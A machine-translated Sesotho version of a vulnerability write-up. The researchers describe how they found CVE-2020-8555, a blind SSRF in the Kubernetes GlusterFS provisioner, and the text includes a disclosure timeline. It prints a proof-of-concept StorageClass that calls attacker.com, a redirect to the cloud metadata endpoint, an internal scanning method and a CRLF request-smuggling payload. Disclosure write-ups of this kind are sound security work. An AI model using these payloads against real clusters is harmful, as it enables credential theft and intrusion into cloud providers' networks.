Ha e se feela ka bofokoli ba Kubernetes ...

Hlokomela. fetolela.: bangoli ba sengoloa sena ba bua ka botlalo mabapi le hore na ba khonne ho sibolla bofokoli joang CVE-2020–8555 ho Kubernetes. Le hoja qalong e ne e bonahala e se kotsi haholo, hammoho le lintlha tse ling, bohlokoa ba eona bo ile ba fetoha boholo ba bafani ba bang ba maru. Mekhatlo e mengata ka seatla se bulehileng e ile ea putsa litsebi bakeng sa mosebetsi oa tsona.

Ha e se feela ka bofokoli ba Kubernetes ...

Re bomang

Re bafuputsi ba babeli ba ts'ireletso ba Mafora ba ileng ba fumana ka kopanelo ho ba kotsing ho Kubernetes. Mabitso a rona ke Brice Augras le Christophe Hauquiert, empa lipolaneteng tse ngata tsa Bug Bounty re tsejoa e le Reeverzax le Hach ka ho latellana:

Ho etsahetse eng?

Sengoliloeng sena ke mokhoa oa rona oa ho arolelana kamoo projeke e tloaelehileng ea lipatlisiso e fetohileng ketsahalo e monate ka ho fetisisa bophelong ba litsomi tsa likokoana-hloko (bonyane hajoale).

Joalokaha mohlomong u tseba, litsomi tsa likokoana-hloko li na le likarolo tse 'maloa tse hlokomelehang:

  • ba phela ka pizza le biri;
  • ba sebetsa ha bohle ba robetse.

Ha re mokhelo melaong ena: hangata re kopana ka mafelo-beke 'me re qeta masiu a sa robale re ntse re qhekella. Empa bo bong ba masiu ana bo ile ba fela ka tsela e sa tloaelehang haholo.

Qalong re ne re tla kopana ho buisana ka ho kenya letsoho CTF letsatsi le hlahlamang. Nakong ea moqoqo ka ts'ireletso ea Kubernetes sebakeng sa ts'ebeletso e laoloang, re ile ra hopola mohopolo oa khale oa SSRF (Server-Side Request Forgery) mme a etsa qeto ea ho leka ho e sebelisa e le mongolo oa tlhaselo.

Ka 11pm re ile ra lula fatše ho etsa lipatlisiso tsa rona mme ra robala hoseng haholo, re khotsofetse haholo ke liphello. Ke ka lebaka la lipatlisiso tsena moo re ileng ra kopana le lenaneo la MSRC Bug Bounty mme ra tla le monyetla oa ho eketsa monyetla.

Ho ile ha feta libeke/likhoeli tse ’maloa, ’me sephetho sa rōna se neng se sa lebelloa se ile sa fella ka o mong oa meputso e phahameng ka ho fetisisa historing ea Azure Cloud Bug Bounty - ho phaella ho eo re e fumaneng ho tloha Kubernetes!

Ho ipapisitsoe le morero oa rona oa lipatlisiso, Komiti ea Tšireletso ea Lihlahisoa tsa Kubernetes e hatisitsoe CVE-2020–8555.

Joale ke rata ho phatlalatsa tlhahisoleseling ka bofokoli bo fumanoeng ka hohle kamoo ho ka khonehang. Re tšepa hore u tla thabela ho fumana le ho arolelana lintlha tsa tekheniki le litho tse ling tsa sechaba sa infosec!

Kahoo pale ea rona ke ena ...

Mohopolo

Ho utloisisa se etsahetseng, a re qaleng ho sheba hore na Kubernetes e sebetsa joang sebakeng se laoloang ke maru.

Ha o tiisa sehlopha sa Kubernetes tikolohong e joalo, karolo ea taolo hangata ke boikarabello ba mofani oa maru:

Ha e se feela ka bofokoli ba Kubernetes ...
Sebaka sa taolo se sebakeng sa mofani oa maru, ha li-node tsa Kubernetes li le haufi le bareki.

Ho fana ka li-volumes ka matla, mochine o sebelisoa ho li fana ka matla ho tsoa polokelong ea kantle ea polokelo le ho li bapisa le PVC (tseko e tsitsitseng ea molumo, ke hore, kopo ea molumo).

Ka hona, ka mor'a hore PVC e bōptjoe 'me e tlameletsoe ho StorageClass sehlopheng sa K8s, liketso tse eketsehileng tsa ho fana ka molumo li nkoa ke mookameli oa kube / cloud controller (lebitso la lona le tobileng le itšetlehile ka ho lokolloa). (Hlokomela. fetolela.: Re se re ngotse haholoanyane ka CCM re sebelisa mohlala oa ts'ebetsong ea eona ho e mong oa bafani ba maru mona.)

Ho na le mefuta e 'maloa ea bafani ba tšehetsoang ke Kubernetes: boholo ba bona bo kenyelelitsoe ho konokono ya mmino wa mmino, ha tse ling li laoloa ke bafani ba tlatsetso ba kentsoeng ka har'a li-pods sehlopheng.

Phuputsong ea rona, re tsepamisitse maikutlo ho mokhoa oa ho fana ka molumo oa kahare, o bontšitsoeng ka tlase:

Ha e se feela ka bofokoli ba Kubernetes ...
Phano e matla ea li-volumes ho sebelisoa mofani oa Kubernetes ea hahelletsoeng ka hare

Ka bokhutšoanyane, ha Kubernetes e sebelisoa sebakeng se laoloang, mookameli oa molaoli ke boikarabelo ba mofani oa maru, empa kopo ea tlhahiso ea molumo (nomoro ea 3 setšoantšong se ka holimo) e siea marang-rang a ka hare a mofani oa maru. 'Me mona ke moo lintho li bang monate haholo!

Hacking scenario

Karolong ena, re tla hlalosa kamoo re ileng ra sebelisa monyetla oa ho phalla ha mosebetsi ho boletsoeng ka holimo le ho fihlella mehloli ea ka hare ea mofani oa litšebeletso tsa leru. E tla boela e u bontše hore na u ka etsa liketso tse itseng joang, tse kang ho fumana mangolo a boitsebiso ba ka hare kapa litokelo tse ntseng li eketseha.

Ho qhekella ha bonolo (tabeng ena, Service Side Request Forgery) ho thusitse ho fetela ka nģ'ane ho tikoloho ea bareki ho ba lihlopha tsa bafani ba litšebeletso tse fapaneng tlas'a li-K8 tse laoloang.

Phuputsong ea rona re tsepamisitse maikutlo ho mofani oa GlusterFS. Leha taba ea hore tatellano e eketsehileng ea liketso e hlalosoa moelelong ona, Quobyte, StorageOS le ScaleIO li ka ba kotsing e tšoanang.

Ha e se feela ka bofokoli ba Kubernetes ...
Tšebeliso e mpe ea mokhoa oa ho fana ka molumo o matla

Nakong ea tlhahlobo ea sehlopha sa polokelo GlusterFS ka khoutu ea mohloli oa mofani oa Golang re hlokometsehore ka kopo ea pele ea HTTP (3) e rometsoeng nakong ea tlhahiso ea molumo, ho isa qetellong ea URL ea tloaelo ho parameter resturl eketsa /volumes.

Re nkile qeto ea ho tlosa tsela ena e eketsehileng ka ho eketsa # ka parameter resturl. Mona ke tlhophiso ea pele ea YAML eo re neng re e sebelisa ho leka ho ba kotsing ea SSRF e sa boneng. (o ka bala haholoanyane ka SSRF e sa boneng kapa e sa boneng, mohlala, mona - hoo e ka bang. fetolela.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Eaba re sebelisa binary ho laola sehlopha sa Kubernetes rele kubctl. Ka tloaelo, bafani ba maru (Azure, Google, AWS, joalo-joalo) ba u lumella ho fumana mangolo a mangolo a ho sebelisoa molemong ona.

Ka lebaka la sena, ke khonne ho sebelisa faele ea ka "e khethehileng". Kube-controller-manager o phethile kopo e hlahisitsoeng ea HTTP:

kubectl create -f sc-poc.yaml

Ha e se feela ka bofokoli ba Kubernetes ...
Karabo ho ea ka pono ea mohlaseli

Nakoana ka mor'a sena, re ile ra boela ra khona ho fumana karabo ea HTTP ho tswa ho seva se lebisitsoeng - ka litaelo describe pvc kapa get events ka kubectl. 'Me ka sebele: mokhanni enoa oa kamehla oa Kubernetes o bua haholo ka litemoso / melaetsa ea liphoso ...

Mona ke mohlala o nang le sehokelo ho https://www.google.frbeha e le parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ha e se feela ka bofokoli ba Kubernetes ...

Ka mokhoa ona, re ne re lekanyelitsoe ho lipotso tse kang HTTP POST mme o ne a sa khone ho fumana litaba tsa sehlopha sa karabelo haeba khoutu ea ho khutla e ne e le 201. Ka hona, re nkile qeto ea ho etsa lipatlisiso tse eketsehileng le ho holisa boemo bona ba bosholu ka mekhoa e mecha.

Phetoho ea lipatlisiso tsa rona

  • Boemo bo tsoetseng pele #1: Ho sebelisa 302 ho tsamaisa ho tloha ho seva sa kantle ho fetola mokhoa oa HTTP ho fana ka mokhoa o bonolo oa ho bokella lintlha tsa ka hare.
  • Boemo bo tsoetseng pele ba #2: Iketsetse tlhahlobo ea LAN le ho sibolla lisebelisoa tsa kahare.
  • Boemo bo tsoetseng pele ba #3: ho sebelisa HTTP CRLF + smuggling ("kopela smuggling") ho theha likopo tse lokiselitsoeng tsa HTTP le ho fumana lintlha tse nkiloeng ho li-log tsa kube-controller.

Litlhaloso tsa Tekheniki

  • Patlisiso e sebelisitse Azure Kubernetes Service (AKS) e nang le mofuta oa Kubernetes 1.12 sebakeng sa Europe Leboea.
  • Maemo a hlalositsoeng ka holimo a entsoe liphatlalatsong tsa morao-rao tsa Kubernetes, ntle le boemo ba boraro, hobane o ne a hloka Kubernetes e hahiloeng ka mofuta oa Golang ≤ 1.12.
  • Seva ea ka ntle ea mohlaseli - https://attacker.com.

Boemo bo tsoetseng pele ba #1: Ho tsamaisa kopo ea HTTP POST ho GET le ho fumana lintlha tsa bohlokoa

Mokhoa oa mantlha o ile oa ntlafatsoa ke litlhophiso tsa seva sa mohlaseli hore a khutle 302 HTTP Retcodeho fetolela kopo ea POST ho kopo ea GET (mohato oa 4 setšoantšong):

Ha e se feela ka bofokoli ba Kubernetes ...

Kopo ea pele (3) e tsoang ho moreki GlusterFS (Motsamaisi oa Taolo), o na le mofuta oa POST. Ka ho latela mehato ena re khonne ho e fetola GET:

  • Joalo ka paramente resturl ho StorageClass e bontšitsoe http://attacker.com/redirect.php.
  • Qetellong https://attacker.com/redirect.php e araba ka khoutu ea boemo ba 302 HTTP e nang le Sehlooho se latelang sa Sebaka: http://169.254.169.254. Sena e ka ba sesebelisoa leha e le sefe se ka hare - tabeng ena, sehokelo sa redirect se sebelisoa feela e le mohlala.
  • ke default laebrari ea marang-rang / http Golang e tsamaisa kopo hape mme e fetolela POST ho GET e nang le khoutu ea boemo ba 302, e hlahisang kopo ea HTTP GET ho mohloli o lebisitsoeng.

Ho bala 'mele oa karabo ea HTTP o hloka ho o etsa describe Ntho ea PVC:

kubectl describe pvc xxx

Mohlala ke ona oa karabo ea HTTP ka sebopeho sa JSON seo re khonneng ho se fumana:

Ha e se feela ka bofokoli ba Kubernetes ...

Bokhoni ba bofokoli bo fumanoeng ka nako eo bo ne bo lekanyelitsoe ka lebaka la lintlha tse latelang:

  • Ho sitoa ho kenya lihlooho tsa HTTP kopong e tsoang.
  • Ho se khone ho etsa kopo ea POST ka liparamente 'meleng (sena se loketse ho kopa boleng ba bohlokoa ho tsoa ketsahalong ea etcd e ntseng e tsoela pele. 2379 port haeba ho sebelisoa HTTP e sa ngolisoang).
  • Ho se khone ho khutlisa litaba tsa 'mele oa karabo ha khoutu ea boemo e ne e le 200 mme karabelo e sena JSON Content-Type.

Boemo bo tsoetseng pele #2: Ho hlahloba marang-rang a lehae

Mokhoa ona oa SSRF o sa boneng o ile oa sebelisoa ho hlahloba marang-rang a ka hare a mofani oa maru le ho khetha litšebeletso tse fapaneng tsa ho mamela (mohlala oa Metadata, Kubelet, joalo-joalo) ho latela likarabo. kube molaoli.

Ha e se feela ka bofokoli ba Kubernetes ...

Taba ea mantlha, likou tse tloaelehileng tsa ho mamela tsa likarolo tsa Kubernetes li ile tsa khethoa (8443, 10250, 10251, joalo-joalo), ebe re tlameha ho iketsetsa ts'ebetso ea ho lekola.

Ka ho bona hore mokhoa ona oa ho hlahloba lisebelisoa o totobetse haholo ebile ha o tsamaisane le li-scanner tsa khale le lisebelisoa tsa SSRF, re ile ra etsa qeto ea ho iketsetsa basebetsi ba rona ka bash script e tsamaisang ts'ebetso eohle.

Ka mohlala, e le ho potlakela ho hlahloba marang-rang a 172.16.0.0/12 a marang-rang a ka hare, basebetsi ba 15 ba ile ba qalisoa ka nako e tšoanang. Lenane la IP le ka holimo le khethiloe e le mohlala feela 'me le ka fetoha ho latela mofuta oa IP oa mofani oa litšebeletso oa hau.

Ho hlahloba aterese e le 'ngoe ea IP le boema-kepe bo le bong, u lokela ho etsa se latelang:

  • hlakola ea ho qetela e hlahlobiloeng StorageClass;
  • tlosa Phatlalatso ea Bolumo e netefalitsoeng e fetileng;
  • fetola boleng ba IP le Port ho sc.yaml;
  • theha StorageClass ka IP e ncha le boema-kepe;
  • theha PVC e ncha;
  • hula liphetho tsa scan u sebelisa tlhaloso bakeng sa PVC.

Boemo bo tsoetseng pele ba #3: ente ea CRLF + e mokola HTTP ka mefuta ea "khale" ea sehlopha sa Kubernetes

Haeba ho phaella ho sena mofani o ne a fa bareki mefuta ea khale ea sehlopha sa K8s и e ile ea ba fa monyetla oa ho fumana li-log tsa kube-controller-manager, phello e ile ea e-ba ea bohlokoa le ho feta.

Ho bonolo haholo hore mohlaseli a fetole likopo tsa HTTP tse etselitsoeng ho fumana karabelo e felletseng ea HTTP ka boikhethelo ba hae.

Ha e se feela ka bofokoli ba Kubernetes ...

Ho kenya tšebetsong boemo ba ho qetela, maemo a latelang a ne a tlameha ho finyelloa:

  • Mosebelisi o tlameha ho fihlella lits'oants'o tsa kube-controller-manager (joalo ka mohlala, ho Azure LogInsights).
  • Sehlopha sa Kubernetes se tlameha ho sebelisa mofuta oa Golang o tlase ho 1.12.

Re sebelisitse tikoloho ea lehae e etsitseng puisano lipakeng tsa moreki oa GlusterFS Go le seva e seng ea nnete ea sepheo (re tla hana ho phatlalatsa PoC hajoale).

E fumanoe bofokodi, e amang mefuta ea Golang e tlase ho 1.12 le ho lumella linokoane ho etsa litlhaselo tsa HTTP smuggling/CRLF.

Ka ho kopanya SSRF e sa boneng halofo e hlalositsoeng ka holimo вместе ka sena, re khonne ho romella likopo tseo re li ratang, ho kenyelletsa ho nkela lihlooho, mokhoa oa HTTP, liparamente le data, tseo kube-controller-manager a ileng a li sebetsa.

Mona ke mohlala oa "bait" e sebetsang ka parameter resturl StorageClass, e sebelisang boemo bo tšoanang ba tlhaselo:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Sephetho ke phoso karabelo e sa kōptjoang, molaetsa o tlalehiloeng ka har'a li-log tsa molaoli. Ka lebaka la verbosity e nolofalitsoeng ke kamehla, litaba tsa molaetsa oa karabo ea HTTP le tsona li bolokiloe moo.

Ha e se feela ka bofokoli ba Kubernetes ...

Ena e ne e le "bait" ea rona e sebetsang ka ho fetisisa ka har'a moralo oa bopaki ba khopolo.

Ka ho sebelisa mokhoa ona, re khonne ho etsa tse ling tsa litlhaselo tse latelang ho lihlopha tsa bafani ba mefuta e fapaneng ea k8s ba laoloang: ho eketseha ha tokelo ka lintlha tsa lintlha tsa metadata, Master DoS ka likopo (tse sa ngolisoang) tsa HTTP maemong a mang a mang, joalo-joalo.

Liphello

Polelong ea semmuso ea Kubernetes mabapi le ho ba kotsing ea SSRF eo re e fumaneng, e lekantsoe CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Haeba re nahana feela ka ts'oaetso e amanang le "perimeter" ea Kubernetes, vector ea botšepehi (vector ea botšepehi) e tšoaneleha joalo ka None.

Leha ho le joalo, ho lekola litlamorao tse ka bang teng maemong a tikoloho ea ts'ebeletso e laoloang ('me ena e ne e le karolo e khahlisang haholo ea lipatlisiso tsa rona!) ho re khothalelitse hore re hlophise bofokoli bo bocha boemong ba lintlha. Bohlokoa CVSS10/10 bakeng sa barekisi ba bangata.

Ka tlase ke lintlha tse ling ho u thusa ho utloisisa maikutlo a rona ha u lekola litšusumetso tse ka bang teng tikolohong ea maru:

Botšepehi

  • Etsa litaelo u le hole u sebelisa mangolo a netefalitsoeng a ka hare.
  • Ho hlahisa boemo bo ka holimo ho sebelisa mokhoa oa IDOR (Insecure Direct Object Reference) ka lisebelisoa tse ling tse fumanoang marang-rang a sebaka seo.

Lekunutu

  • Mofuta oa tlhaselo Tsamaiso ea Lateral ka lebaka la bosholu ba lintlha tsa maru (mohlala, metadata API).
  • Ho bokella tlhahisoleseling ka ho lekola marang-rang a lehae (ho khetholla mofuta oa SSH, mofuta oa seva sa HTTP, ...).
  • Bokella mohlala le lintlha tsa motheo ka ho khetha li-API tsa ka hare joalo ka metadata API (http://169.254.169.254,…).
  • Ho utsoa lintlha tsa bareki ho sebelisa lintlha tsa maru.

Ho fumaneha

Maemo ohle a sebelisa hampe a amanang le li-vector tse hlaselang botshepehi, e ka sebelisoa bakeng sa liketso tse senyang 'me ea lebisa ho maemo a holimo ho tloha ho perimeter ea bareki (kapa leha e le efe e' ngoe) ha e fumanehe.

Kaha re ne re le tikolohong e laoloang ea K8s 'me re hlahloba phello ea botšepehi, re ka inahanela maemo a mangata a ka amang ho fumaneha. Mehlala e meng e kenyelletsa ho senya database ea etcd kapa ho etsa mohala oa bohlokoa ho Kubernetes API.

Lenane la nako

  • La 6 Tšitoe 2019: Kotsi e tlalehetse MSRC Bug Bounty.
  • La 3 Pherekhong 2020: Motho e mong o tsebisitse baetsi ba Kubernetes hore re ntse re sebetsana le taba ea ts'ireletso. Mme a ba kopa ho nka SSRF e le ts'oaetso ea kahare (ka hare-hare). Eaba re fana ka tlaleho e akaretsang e nang le lintlha tsa tekheniki mabapi le mohloli oa bothata.
  • La 15 Pherekhong 2020: Re fane ka litlaleho tsa tekheniki le kakaretso ho baetsi ba Kubernetes ka kopo ea bona (ka sethala sa HackerOne).
  • La 15 Pherekhong 2020: Bahlahisi ba Kubernetes ba re tsebisitse hore ente e sa boneng ea SSRF + CRLF bakeng sa litokollo tsa nakong e fetileng e nkuoa e le tsietsi ea mantlha. Hang-hang re ile ra emisa ho sekaseka lipherimithara tsa bafani ba bang ba litšebeletso: sehlopha sa K8s joale se ne se sebetsana le sesosa sa sesosa.
  • La 15 Pherekhong 2020: Moputso oa MSRC o amohetsoe ka HackerOne.
  • La 16 Pherekhong 2020: Kubernetes PSC (Komiti ea Ts'ireletso ea Sehlahisoa) e hlokometse bofokoli boo mme ea kopa ho e boloka e le lekunutu ho fihlela bohareng ba Hlakubele ka lebaka la palo e kholo ea bahlaseluoa.
  • La 11 Hlakola 2020: Moputso oa Google VRP o amohetsoe.
  • La 4 Hlakubele 2020: Moputso oa Kubernetes o fumanoe ka HackerOne.
  • La 15 Hlakubele 2020: Phatlalatso e neng e reriloe qalong e chechisitsoe morao ka lebaka la boemo ba COVID-19.
  • La 1 Phuptjane 2020: Polelo e kopaneng ea Kubernetes + Microsoft mabapi le ho ba kotsing.

TL; DR

  • Re noa biri le ho ja pizza :)
  • Re ile ra fumana ts'oaetso ea mantlha ho Kubernetes, leha re ne re sa ikemisetsa ho etsa joalo.
  • Re entse tlhahlobo e eketsehileng ho lihlopha tsa bafani ba maru ba fapaneng 'me ra khona ho eketsa tšenyo e bakiloeng ke ho ba kotsing ea ho fumana li-bonase tse ling tse tsotehang.
  • U tla fumana lintlha tse ngata tsa tekheniki sehloohong sena. Re ka thabela ho buisana le uena ka tsona (Twitter: @ReeverZax & @__hach_).
  • Ho ile ha fumaneha hore mefuta eohle ea litloaelo le tlaleho li nkile nako e telele ho feta kamoo ho neng ho lebelletsoe.

litšupiso

PS ho tsoa ho mofetoleli

Bala hape ho blog ea rona:

Source: www.habr.com

Eketsa ka tlhaloso